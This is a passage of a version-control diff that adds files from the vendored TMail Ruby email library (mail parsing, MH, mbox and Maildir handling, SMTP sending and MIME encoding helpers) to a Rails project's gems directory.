+      'resent-bcc'        => true,
+      'resent-message-id' => true,
+      'comments'          => true,
+      'keywords'          => true
+    }
+    USE_ARRAY = ALLOW_MULTIPLE
+
+    def header
+      @header.dup
+    end
+
+    # Returns a TMail::AddressHeader object of the field you are querying.
+    # Examples:
+    #  @mail['from']  #=> #<TMail::AddressHeader "mikel at test.com.au">
+    #  @mail['to']    #=> #<TMail::AddressHeader "mikel at test.com.au">
+    #
+    # You can get the string value of this by passing "to_s" to the query:
+    # Example:
+    #  @mail['to'].to_s #=> "mikel at test.com.au"
+    def []( key )
+      @header[key.downcase]
+    end
+
+    def sub_header(key, param)
+      (hdr = self[key]) ? hdr[param] : nil
+    end
+
+    alias fetch []
+
+    # Allows you to set or delete TMail header objects at will.
+    # Examples:
+    #  @mail = TMail::Mail.new
+    #  @mail['to'].to_s       # => 'mikel at test.com.au'
+    #  @mail['to'] = 'mikel at elsewhere.org'
+    #  @mail['to'].to_s       # => 'mikel at elsewhere.org'
+    #  @mail.encoded          # => "To: mikel at elsewhere.org\r\n\r\n"
+    #  @mail['to'] = nil
+    #  @mail['to'].to_s       # => nil
+    #  @mail.encoded          # => "\r\n"
+    # 
+    # Note: setting mail[] = nil actually deletes the header field in question from the object,
+    # it does not just set the value of the hash to nil
+    def []=( key, val )
+      dkey = key.downcase
+
+      if val.nil?
+        @header.delete dkey
+        return nil
+      end
+
+      case val
+      when String
+        header = new_hf(key, val)
+      when HeaderField
+        ;
+      when Array
+        ALLOW_MULTIPLE.include? dkey or
+                raise ArgumentError, "#{key}: Header must not be multiple"
+        @header[dkey] = val
+        return val
+      else
+        header = new_hf(key, val.to_s)
+      end
+      if ALLOW_MULTIPLE.include? dkey
+        (@header[dkey] ||= []).push header
+      else
+        @header[dkey] = header
+      end
+
+      val
+    end
+
+    alias store []=
+    
+    # Allows you to loop through each header in the TMail::Mail object in a block
+    # Example:
+    #   @mail['to'] = 'mikel at elsewhere.org'
+    #   @mail['from'] = 'me at me.com'
+    #   @mail.each_header { |k,v| puts "#{k} = #{v}" }
+    #   # => from = me at me.com
+    #   # => to = mikel at elsewhere.org
+    def each_header
+      @header.each do |key, val|
+        [val].flatten.each {|v| yield key, v }
+      end
+    end
+
+    alias each_pair each_header
+
+    def each_header_name( &block )
+      @header.each_key(&block)
+    end
+
+    alias each_key each_header_name
+
+    def each_field( &block )
+      @header.values.flatten.each(&block)
+    end
+
+    alias each_value each_field
+
+    FIELD_ORDER = %w(
+      return-path received
+      resent-date resent-from resent-sender resent-to
+      resent-cc resent-bcc resent-message-id
+      date from sender reply-to to cc bcc
+      message-id in-reply-to references
+      subject comments keywords
+      mime-version content-type content-transfer-encoding
+      content-disposition content-description
+    )
+
+    def ordered_each
+      list = @header.keys
+      FIELD_ORDER.each do |name|
+        if list.delete(name)
+          [@header[name]].flatten.each {|v| yield name, v }
+        end
+      end
+      list.each do |name|
+        [@header[name]].flatten.each {|v| yield name, v }
+      end
+    end
+
+    def clear
+      @header.clear
+    end
+
+    def delete( key )
+      @header.delete key.downcase
+    end
+
+    def delete_if
+      @header.delete_if do |key,val|
+        if Array === val
+          val.delete_if {|v| yield key, v }
+          val.empty?
+        else
+          yield key, val
+        end
+      end
+    end
+
+    def keys
+      @header.keys
+    end
+
+    def key?( key )
+      @header.key? key.downcase
+    end
+
+    def values_at( *args )
+      args.map {|k| @header[k.downcase] }.flatten
+    end
+
+    alias indexes values_at
+    alias indices values_at
+
+    private
+
+    def parse_header( f )
+      name = field = nil
+      unixfrom = nil
+
+      while line = f.gets
+        case line
+        when /\A[ \t]/             # continue from prev line
+          raise SyntaxError, 'mail is began by space' unless field
+          field << ' ' << line.strip
+
+        when /\A([^\: \t]+):\s*/   # new header line
+          add_hf name, field if field
+          name = $1
+          field = $' #.strip
+
+        when /\A\-*\s*\z/          # end of header
+          add_hf name, field if field
+          name = field = nil
+          break
+
+        when /\AFrom (\S+)/
+          unixfrom = $1
+
+        when /^charset=.*/
+
+        else
+          raise SyntaxError, "wrong mail header: '#{line.inspect}'"
+        end
+      end
+      add_hf name, field if name
+
+      if unixfrom
+        add_hf 'Return-Path', "<#{unixfrom}>" unless @header['return-path']
+      end
+    end
+
+    def add_hf( name, field )
+      key = name.downcase
+      field = new_hf(name, field)
+
+      if ALLOW_MULTIPLE.include? key
+        (@header[key] ||= []).push field
+      else
+        @header[key] = field
+      end
+    end
+
+    def new_hf( name, field )
+      HeaderField.new(name, field, @config)
+    end
+
+    ###
+    ### body
+    ###
+
+    public
+
+    def body_port
+      parse_body
+      @body_port
+    end
+
+    def each( &block )
+      body_port().ropen {|f| f.each(&block) }
+    end
+
+    def quoted_body
+      body_port.ropen {|f| return f.read }
+    end
+
+    def quoted_body= str
+      body_port.wopen { |f| f.write str }
+      str
+    end
+
+    def body=( str )
+      # Sets the body of the email to a new (encoded) string.
+      # 
+      # We also reparses the email if the body is ever reassigned, this is a performance hit, however when
+      # you assign the body, you usually want to be able to make sure that you can access the attachments etc.
+      # 
+      # Usage:
+      # 
+      #  mail.body = "Hello, this is\nthe body text"
+      #  # => "Hello, this is\nthe body"
+      #  mail.body
+      #  # => "Hello, this is\nthe body"
+      @body_parsed = false
+      parse_body(StringInput.new(str))
+      parse_body
+      @body_port.wopen {|f| f.write str }
+      str
+    end
+
+    alias preamble  quoted_body
+    alias preamble= quoted_body=
+
+    def epilogue
+      parse_body
+      @epilogue.dup
+    end
+
+    def epilogue=( str )
+      parse_body
+      @epilogue = str
+      str
+    end
+
+    def parts
+      parse_body
+      @parts
+    end
+    
+    def each_part( &block )
+      parts().each(&block)
+    end
+    
+    # Returns true if the content type of this part of the email is
+    # a disposition attachment
+    def disposition_is_attachment?
+      (self['content-disposition'] && self['content-disposition'].disposition == "attachment")
+    end
+
+    # Returns true if this part's content main type is text, else returns false.
+    # By main type is meant "text/plain" is text.  "text/html" is text
+    def content_type_is_text?
+      self.header['content-type'] && (self.header['content-type'].main_type != "text")
+    end
+
+    private
+
+    def parse_body( f = nil )
+      return if @body_parsed
+      if f
+        parse_body_0 f
+      else
+        @port.ropen {|f|
+            skip_header f
+            parse_body_0 f
+        }
+      end
+      @body_parsed = true
+    end
+
+    def skip_header( f )
+      while line = f.gets
+        return if /\A[\r\n]*\z/ === line
+      end
+    end
+
+    def parse_body_0( f )
+      if multipart?
+        read_multipart f
+      else
+        @body_port = @config.new_body_port(self)
+        @body_port.wopen {|w|
+            w.write f.read
+        }
+      end
+    end
+    
+    def read_multipart( src )
+      bound = @header['content-type'].params['boundary']
+      is_sep = /\A--#{Regexp.quote bound}(?:--)?[ \t]*(?:\n|\r\n|\r)/
+      lastbound = "--#{bound}--"
+
+      ports = [ @config.new_preamble_port(self) ]
+      begin
+        f = ports.last.wopen
+        while line = src.gets
+          if is_sep === line
+            f.close
+            break if line.strip == lastbound
+            ports.push @config.new_part_port(self)
+            f = ports.last.wopen
+          else
+            f << line
+          end
+        end
+        @epilogue = (src.read || '')
+      ensure
+        f.close if f and not f.closed?
+      end
+
+      @body_port = ports.shift
+      @parts = ports.map {|p| self.class.new(p, @config) }
+    end
+
+  end   # class Mail
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mailbox.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,495 @@
+=begin rdoc
+
+= Mailbox and Mbox interaction class
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+require 'tmail/port'
+require 'socket'
+require 'mutex_m'
+
+
+unless [].respond_to?(:sort_by)
+module Enumerable#:nodoc:
+  def sort_by
+    map {|i| [yield(i), i] }.sort {|a,b| a.first <=> b.first }.map {|i| i[1] }
+  end
+end
+end
+
+
+module TMail
+
+  class MhMailbox
+
+    PORT_CLASS = MhPort
+
+    def initialize( dir )
+      edir = File.expand_path(dir)
+      raise ArgumentError, "not directory: #{dir}"\
+                              unless FileTest.directory? edir
+      @dirname = edir
+      @last_file = nil
+      @last_atime = nil
+    end
+
+    def directory
+      @dirname
+    end
+
+    alias dirname directory
+
+    attr_accessor :last_atime
+
+    def inspect
+      "#<#{self.class} #{@dirname}>"
+    end
+
+    def close
+    end
+
+    def new_port
+      PORT_CLASS.new(next_file_name())
+    end
+
+    def each_port
+      mail_files().each do |path|
+        yield PORT_CLASS.new(path)
+      end
+      @last_atime = Time.now
+    end
+
+    alias each each_port
+
+    def reverse_each_port
+      mail_files().reverse_each do |path|
+        yield PORT_CLASS.new(path)
+      end
+      @last_atime = Time.now
+    end
+
+    alias reverse_each reverse_each_port
+
+    # old #each_mail returns Port
+    #def each_mail
+    #  each_port do |port|
+    #    yield Mail.new(port)
+    #  end
+    #end
+
+    def each_new_port( mtime = nil, &block )
+      mtime ||= @last_atime
+      return each_port(&block) unless mtime
+      return unless File.mtime(@dirname) >= mtime
+
+      mail_files().each do |path|
+        yield PORT_CLASS.new(path) if File.mtime(path) > mtime
+      end
+      @last_atime = Time.now
+    end
+
+    private
+
+    def mail_files
+      Dir.entries(@dirname)\
+              .select {|s| /\A\d+\z/ === s }\
+              .map {|s| s.to_i }\
+              .sort\
+              .map {|i| "#{@dirname}/#{i}" }\
+              .select {|path| FileTest.file? path }
+    end
+
+    def next_file_name
+      unless n = @last_file
+        n = 0
+        Dir.entries(@dirname)\
+                .select {|s| /\A\d+\z/ === s }\
+                .map {|s| s.to_i }.sort\
+        .each do |i|
+          next unless FileTest.file? "#{@dirname}/#{i}"
+          n = i
+        end
+      end
+      begin
+        n += 1
+      end while FileTest.exist? "#{@dirname}/#{n}"
+      @last_file = n
+
+      "#{@dirname}/#{n}"
+    end
+
+  end   # MhMailbox
+
+  MhLoader = MhMailbox
+
+
+  class UNIXMbox
+  
+    class << self
+      alias newobj new
+    end
+
+    # Creates a new mailbox object that you can iterate through to collect the
+    # emails from with "each_port".  
+    # 
+    # You need to pass it a filename of a unix mailbox format file, the format of this
+    # file can be researched at this page at {wikipedia}[link:http://en.wikipedia.org/wiki/Mbox]
+    # 
+    # ==== Parameters
+    # 
+    # +filename+: The filename of the mailbox you want to open
+    # 
+    # +tmpdir+: Can be set to override TMail using the system environment's temp dir. TMail will first
+    # use the temp dir specified by you (if any) or then the temp dir specified in the Environment's TEMP
+    # value then the value in the Environment's TMP value or failing all of the above, '/tmp'
+    # 
+    # +readonly+: If set to false, each email you take from the mail box will be removed from the mailbox.
+    # default is *false* - ie, it *WILL* truncate your mailbox file to ZERO once it has read the emails out.
+    # 
+    # ==== Options:
+    # 
+    # None
+    # 
+    # ==== Examples:
+    # 
+    #  # First show using readonly true:
+    # 
+    #  require 'ftools'
+    #  File.size("../test/fixtures/mailbox")
+    #  #=> 20426
+    #
+    #  mailbox = TMail::UNIXMbox.new("../test/fixtures/mailbox", nil, true) 
+    #  #=> #<TMail::UNIXMbox:0x14a2aa8 @readonly=true.....>
+    #
+    #  mailbox.each_port do |port| 
+    #    mail = TMail::Mail.new(port)
+    #    puts mail.subject
+    #  end
+    #  #Testing mailbox 1
+    #  #Testing mailbox 2
+    #  #Testing mailbox 3
+    #  #Testing mailbox 4
+    #  require 'ftools'
+    #  File.size?("../test/fixtures/mailbox")
+    #  #=> 20426
+    # 
+    #  # Now show with readonly set to the default false
+    # 
+    #  mailbox = TMail::UNIXMbox.new("../test/fixtures/mailbox") 
+    #  #=> #<TMail::UNIXMbox:0x14a2aa8 @readonly=false.....>
+    #
+    #  mailbox.each_port do |port| 
+    #    mail = TMail::Mail.new(port)
+    #    puts mail.subject
+    #  end
+    #  #Testing mailbox 1
+    #  #Testing mailbox 2
+    #  #Testing mailbox 3
+    #  #Testing mailbox 4
+    # 
+    #  File.size?("../test/fixtures/mailbox")
+    #  #=> nil
+    def UNIXMbox.new( filename, tmpdir = nil, readonly = false )
+      tmpdir = ENV['TEMP'] || ENV['TMP'] || '/tmp'
+      newobj(filename, "#{tmpdir}/ruby_tmail_#{$$}_#{rand()}", readonly, false)
+    end
+
+    def UNIXMbox.lock( fname )
+      begin
+        f = File.open(fname, 'r+')
+        f.flock File::LOCK_EX
+        yield f
+      ensure
+        f.flock File::LOCK_UN
+        f.close if f and not f.closed?
+      end
+    end
+
+    def UNIXMbox.static_new( fname, dir, readonly = false )
+      newobj(fname, dir, readonly, true)
+    end
+
+    def initialize( fname, mhdir, readonly, static )
+      @filename = fname
+      @readonly = readonly
+      @closed = false
+
+      Dir.mkdir mhdir
+      @real = MhMailbox.new(mhdir)
+      @finalizer = UNIXMbox.mkfinal(@real, @filename, !@readonly, !static)
+      ObjectSpace.define_finalizer self, @finalizer
+    end
+
+    def UNIXMbox.mkfinal( mh, mboxfile, writeback_p, cleanup_p )
+      lambda {
+          if writeback_p
+            lock(mboxfile) {|f|
+                mh.each_port do |port|
+                  f.puts create_from_line(port)
+                  port.ropen {|r|
+                      f.puts r.read
+                  }
+                end
+            }
+          end
+          if cleanup_p
+            Dir.foreach(mh.dirname) do |fname|
+              next if /\A\.\.?\z/ === fname
+              File.unlink "#{mh.dirname}/#{fname}"
+            end
+            Dir.rmdir mh.dirname
+          end
+      }
+    end
+
+    # make _From line
+    def UNIXMbox.create_from_line( port )
+      sprintf 'From %s %s',
+              fromaddr(), TextUtils.time2str(File.mtime(port.filename))
+    end
+
+    def UNIXMbox.fromaddr(port)
+      h = HeaderField.new_from_port(port, 'Return-Path') ||
+      HeaderField.new_from_port(port, 'From') ||
+      HeaderField.new_from_port(port, 'EnvelopeSender') or return 'nobody'
+      a = h.addrs[0] or return 'nobody'
+      a.spec
+    end
+
+    def close
+      return if @closed
+
+      ObjectSpace.undefine_finalizer self
+      @finalizer.call
+      @finalizer = nil
+      @real = nil
+      @closed = true
+      @updated = nil
+    end
+
+    def each_port( &block )
+      close_check
+      update
+      @real.each_port(&block)
+    end
+
+    alias each each_port
+
+    def reverse_each_port( &block )
+      close_check
+      update
+      @real.reverse_each_port(&block)
+    end
+
+    alias reverse_each reverse_each_port
+
+    # old #each_mail returns Port
+    #def each_mail( &block )
+    #  each_port do |port|
+    #    yield Mail.new(port)
+    #  end
+    #end
+
+    def each_new_port( mtime = nil )
+      close_check
+      update
+      @real.each_new_port(mtime) {|p| yield p }
+    end
+
+    def new_port
+      close_check
+      @real.new_port
+    end
+
+    private
+
+    def close_check
+      @closed and raise ArgumentError, 'accessing already closed mbox'
+    end
+
+    def update
+      return if FileTest.zero?(@filename)
+      return if @updated and File.mtime(@filename) < @updated
+      w = nil
+      port = nil
+      time = nil
+      UNIXMbox.lock(@filename) {|f|
+          begin
+            f.each do |line|
+              if /\AFrom / === line
+                w.close if w
+                File.utime time, time, port.filename if time
+
+                port = @real.new_port
+                w = port.wopen
+                time = fromline2time(line)
+              else
+                w.print line if w
+              end
+            end
+          ensure
+            if w and not w.closed?
+              w.close
+              File.utime time, time, port.filename if time
+            end
+          end
+          f.truncate(0) unless @readonly
+          @updated = Time.now
+      }
+    end
+
+    def fromline2time( line )
+      m = /\AFrom \S+ \w+ (\w+) (\d+) (\d+):(\d+):(\d+) (\d+)/.match(line) \
+              or return nil
+      Time.local(m[6].to_i, m[1], m[2].to_i, m[3].to_i, m[4].to_i, m[5].to_i)
+    end
+
+  end   # UNIXMbox
+
+  MboxLoader = UNIXMbox
+
+
+  class Maildir
+
+    extend Mutex_m
+
+    PORT_CLASS = MaildirPort
+
+    @seq = 0
+    def Maildir.unique_number
+      synchronize {
+          @seq += 1
+          return @seq
+      }
+    end
+
+    def initialize( dir = nil )
+      @dirname = dir || ENV['MAILDIR']
+      raise ArgumentError, "not directory: #{@dirname}"\
+                              unless FileTest.directory? @dirname
+      @new = "#{@dirname}/new"
+      @tmp = "#{@dirname}/tmp"
+      @cur = "#{@dirname}/cur"
+    end
+
+    def directory
+      @dirname
+    end
+
+    def inspect
+      "#<#{self.class} #{@dirname}>"
+    end
+
+    def close
+    end
+
+    def each_port
+      mail_files(@cur).each do |path|
+        yield PORT_CLASS.new(path)
+      end
+    end
+
+    alias each each_port
+
+    def reverse_each_port
+      mail_files(@cur).reverse_each do |path|
+        yield PORT_CLASS.new(path)
+      end
+    end
+
+    alias reverse_each reverse_each_port
+
+    def new_port
+      fname = nil
+      tmpfname = nil
+      newfname = nil
+
+      begin
+        fname = "#{Time.now.to_i}.#{$$}_#{Maildir.unique_number}.#{Socket.gethostname}"
+        
+        tmpfname = "#{@tmp}/#{fname}"
+        newfname = "#{@new}/#{fname}"
+      end while FileTest.exist? tmpfname
+
+      if block_given?
+        File.open(tmpfname, 'w') {|f| yield f }
+        File.rename tmpfname, newfname
+        PORT_CLASS.new(newfname)
+      else
+        File.open(tmpfname, 'w') {|f| f.write "\n\n" }
+        PORT_CLASS.new(tmpfname)
+      end
+    end
+
+    def each_new_port
+      mail_files(@new).each do |path|
+        dest = @cur + '/' + File.basename(path)
+        File.rename path, dest
+        yield PORT_CLASS.new(dest)
+      end
+
+      check_tmp
+    end
+
+    TOO_OLD = 60 * 60 * 36   # 36 hour
+
+    def check_tmp
+      old = Time.now.to_i - TOO_OLD
+      
+      each_filename(@tmp) do |full, fname|
+        if FileTest.file? full and
+           File.stat(full).mtime.to_i < old
+          File.unlink full
+        end
+      end
+    end
+
+    private
+
+    def mail_files( dir )
+      Dir.entries(dir)\
+              .select {|s| s[0] != ?. }\
+              .sort_by {|s| s.slice(/\A\d+/).to_i }\
+              .map {|s| "#{dir}/#{s}" }\
+              .select {|path| FileTest.file? path }
+    end
+
+    def each_filename( dir )
+      Dir.foreach(dir) do |fname|
+        path = "#{dir}/#{fname}"
+        if fname[0] != ?. and FileTest.file? path
+          yield path, fname
+        end
+      end
+    end
+    
+  end   # Maildir
+
+  MaildirLoader = Maildir
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/main.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+#:stopdoc:
+require 'tmail/version'
+require 'tmail/mail'
+require 'tmail/mailbox'
+require 'tmail/core_extensions'
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mbox.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#:stopdoc:
+require 'tmail/mailbox'
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/net.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,248 @@
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+#:stopdoc:
+require 'nkf'
+#:startdoc:
+
+module TMail
+
+  class Mail
+    
+    def send_to( smtp )
+      do_send_to(smtp) do
+        ready_to_send
+      end
+    end
+
+    def send_text_to( smtp )
+      do_send_to(smtp) do
+        ready_to_send
+        mime_encode
+      end
+    end
+
+    def do_send_to( smtp )
+      from = from_address or raise ArgumentError, 'no from address'
+      (dests = destinations).empty? and raise ArgumentError, 'no receipient'
+      yield
+      send_to_0 smtp, from, dests
+    end
+    private :do_send_to
+
+    def send_to_0( smtp, from, to )
+      smtp.ready(from, to) do |f|
+        encoded "\r\n", 'j', f, ''
+      end
+    end
+
+    def ready_to_send
+      delete_no_send_fields
+      add_message_id
+      add_date
+    end
+
+    NOSEND_FIELDS = %w(
+      received
+      bcc
+    )
+
+    def delete_no_send_fields
+      NOSEND_FIELDS.each do |nm|
+        delete nm
+      end
+      delete_if {|n,v| v.empty? }
+    end
+
+    def add_message_id( fqdn = nil )
+      self.message_id = ::TMail::new_message_id(fqdn)
+    end
+
+    def add_date
+      self.date = Time.now
+    end
+
+    def mime_encode
+      if parts.empty?
+        mime_encode_singlepart
+      else
+        mime_encode_multipart true
+      end
+    end
+
+    def mime_encode_singlepart
+      self.mime_version = '1.0'
+      b = body
+      if NKF.guess(b) != NKF::BINARY
+        mime_encode_text b
+      else
+        mime_encode_binary b
+      end
+    end
+
+    def mime_encode_text( body )
+      self.body = NKF.nkf('-j -m0', body)
+      self.set_content_type 'text', 'plain', {'charset' => 'iso-2022-jp'}
+      self.encoding = '7bit'
+    end
+
+    def mime_encode_binary( body )
+      self.body = [body].pack('m')
+      self.set_content_type 'application', 'octet-stream'
+      self.encoding = 'Base64'
+    end
+
+    def mime_encode_multipart( top = true )
+      self.mime_version = '1.0' if top
+      self.set_content_type 'multipart', 'mixed'
+      e = encoding(nil)
+      if e and not /\A(?:7bit|8bit|binary)\z/i === e
+        raise ArgumentError,
+              'using C.T.Encoding with multipart mail is not permitted'
+      end
+    end
+  
+  end
+
+  #:stopdoc:
+  class DeleteFields
+
+    NOSEND_FIELDS = %w(
+      received
+      bcc
+    )
+
+    def initialize( nosend = nil, delempty = true )
+      @no_send_fields = nosend || NOSEND_FIELDS.dup
+      @delete_empty_fields = delempty
+    end
+
+    attr :no_send_fields
+    attr :delete_empty_fields, true
+
+    def exec( mail )
+      @no_send_fields.each do |nm|
+        delete nm
+      end
+      delete_if {|n,v| v.empty? } if @delete_empty_fields
+    end
+  
+  end
+  #:startdoc:
+
+  #:stopdoc:
+  class AddMessageId
+
+    def initialize( fqdn = nil )
+      @fqdn = fqdn
+    end
+
+    attr :fqdn, true
+
+    def exec( mail )
+      mail.message_id = ::TMail::new_msgid(@fqdn)
+    end
+  
+  end
+  #:startdoc:
+
+  #:stopdoc:
+  class AddDate
+
+    def exec( mail )
+      mail.date = Time.now
+    end
+  
+  end
+  #:startdoc:
+
+  #:stopdoc:
+  class MimeEncodeAuto
+
+    def initialize( s = nil, m = nil )
+      @singlepart_composer = s || MimeEncodeSingle.new
+      @multipart_composer  = m || MimeEncodeMulti.new
+    end
+
+    attr :singlepart_composer
+    attr :multipart_composer
+
+    def exec( mail )
+      if mail._builtin_multipart?
+      then @multipart_composer
+      else @singlepart_composer end.exec mail
+    end
+  
+  end
+  #:startdoc:
+  
+  #:stopdoc:
+  class MimeEncodeSingle
+
+    def exec( mail )
+      mail.mime_version = '1.0'
+      b = mail.body
+      if NKF.guess(b) != NKF::BINARY
+        on_text b
+      else
+        on_binary b
+      end
+    end
+
+    def on_text( body )
+      mail.body = NKF.nkf('-j -m0', body)
+      mail.set_content_type 'text', 'plain', {'charset' => 'iso-2022-jp'}
+      mail.encoding = '7bit'
+    end
+
+    def on_binary( body )
+      mail.body = [body].pack('m')
+      mail.set_content_type 'application', 'octet-stream'
+      mail.encoding = 'Base64'
+    end
+  
+  end
+  #:startdoc:
+  
+  #:stopdoc:
+  class MimeEncodeMulti
+
+    def exec( mail, top = true )
+      mail.mime_version = '1.0' if top
+      mail.set_content_type 'multipart', 'mixed'
+      e = encoding(nil)
+      if e and not /\A(?:7bit|8bit|binary)\z/i === e
+        raise ArgumentError,
+              'using C.T.Encoding with multipart mail is not permitted'
+      end
+      mail.parts.each do |m|
+        exec m, false if m._builtin_multipart?
+      end
+    end
+
+  end
+  #:startdoc:
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/obsolete.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,132 @@
+=begin rdoc
+
+= Obsolete methods that are depriciated
+
+If you really want to see them, go to lib/tmail/obsolete.rb and view to your
+heart's content.
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+#:stopdoc:
+module TMail #:nodoc:
+
+  class Mail
+    alias include? key?
+    alias has_key? key?
+
+    def values
+      ret = []
+      each_field {|v| ret.push v }
+      ret
+    end
+
+    def value?( val )
+      HeaderField === val or return false
+
+      [ @header[val.name.downcase] ].flatten.include? val
+    end
+
+    alias has_value? value?
+  end
+
+  class Mail
+    def from_addr( default = nil )
+      addr, = from_addrs(nil)
+      addr || default
+    end
+
+    def from_address( default = nil )
+      if a = from_addr(nil)
+        a.spec
+      else
+        default
+      end
+    end
+
+    alias from_address= from_addrs=
+
+    def from_phrase( default = nil )
+      if a = from_addr(nil)
+        a.phrase
+      else
+        default
+      end
+    end
+
+    alias msgid  message_id
+    alias msgid= message_id=
+
+    alias each_dest each_destination
+  end
+
+  class Address
+    alias route routes
+    alias addr spec
+
+    def spec=( str ) 
+      @local, @domain = str.split(/@/,2).map {|s| s.split(/\./) }
+    end
+
+    alias addr= spec=
+    alias address= spec=
+  end
+
+  class MhMailbox
+    alias new_mail new_port
